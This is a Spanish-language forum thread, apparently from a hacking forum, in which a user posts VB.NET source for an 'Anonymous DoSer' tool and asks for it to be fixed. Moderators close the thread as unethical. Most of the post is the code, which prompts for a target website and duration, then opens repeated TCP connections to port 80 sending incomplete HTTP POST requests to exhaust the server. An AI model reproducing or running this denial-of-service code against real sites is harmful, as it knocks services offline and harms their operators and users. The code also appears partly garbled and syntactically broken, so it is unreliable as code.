Private Shared Sub Main(ByVal args As String())
Console.ForegroundColor = ConsoleColor.Yellow
Console.WriteLine(ChrW(10) & " .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
Console.WriteLine(" .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
Console.ForegroundColor = ConsoleColor.Magenta
Console.Write("Website [URL/IP] : ")
Dim website As String = Console.ReadLine
Console.Write("Time [SECONDS] : ")
Dim s As String = Console.ReadLine
Console.Write(ChrW(10))
Dim count As Integer = 1
Dim loop As Boolean = True
New Thread(Function
Dim start As ThreadStart = Nothing
Dim clients As New List(Of TcpClient)()
Do While [loop]
If (start Is Nothing) Then
start = Function
Dim item As New TcpClient()
clients.Add(item)
Try
item.Connect(website, 80)
Dim writer As New StreamWriter(item.GetStream)
writer.Write(("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & website & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
writer.Flush
If [loop] Then
Console.ForegroundColor = ConsoleColor.Green
End If
Console.WriteLine(("Server Is Up / Packets sent: " & count))
count += 1
Catch exception1 As Exception
If [loop] Then
Console.ForegroundColor = ConsoleColor.Red
End If
Console.WriteLine("DoS Succeeded, Server Down!")
End Try
End Function
End If
New Thread(start).Start
Thread.Sleep(50)
Loop
Dim client As TcpClient
For Each client In clients
Try
client.GetStream.Dispose
Catch exception1 As Exception
End Try
Next
End Function).Start
Thread.Sleep(CInt((Integer.Parse(s) * &H3E8)))
[loop] = False
Console.WriteLine(ChrW(10) & "DoS Completed")
Console.WriteLine("Press any key to Close...")
Console.ReadKey
End Sub
PD: Imports System.Threading
Imports System.Net.Sockets
Imports System.IO
Mod: los códigos deben ir en etiquetas GeSHi
te bajas un código para DOs de internet y a demás quieres que te lo arreglen?
no se hacen tareas ni trabajos... se resuelven dudas...
este tema a demás lo asumo no etico
Tema Cerrado
Además, las preguntas consideradas de mala calidad (sin ni siquiera un maldito párrafo donde expliques el problema que tengas) suelen ser ignoradas por la mayoría de usuarios, pon de tu parte, esfuérzate un poco, y entonces quizás los demás hagamos lo mismo por tí.
Este es un foro de calidad, un lugar de información, donde hay que seguir unas normas de comportamiento y de publicación.
Si quieres tener una segunda oportunidad, te sugiero que hagas caso de lo que te ha comentado el compañero @Engel Lex, y además apliques los consejos que puedes leer aquí:
Cita de: http://foro.elhacker.net/programacion_general/reglas_subforo_de_programacion_general-t93852.0.html- 10 pasos para plantear una duda informática (http://foro.elhacker.net/index.php/topic,159345.msg751417.html)
- FAQ : Como hacer preguntas "inteligentes" (http://foro.elhacker.net/index.php/topic,7122.0.html)
Saludos!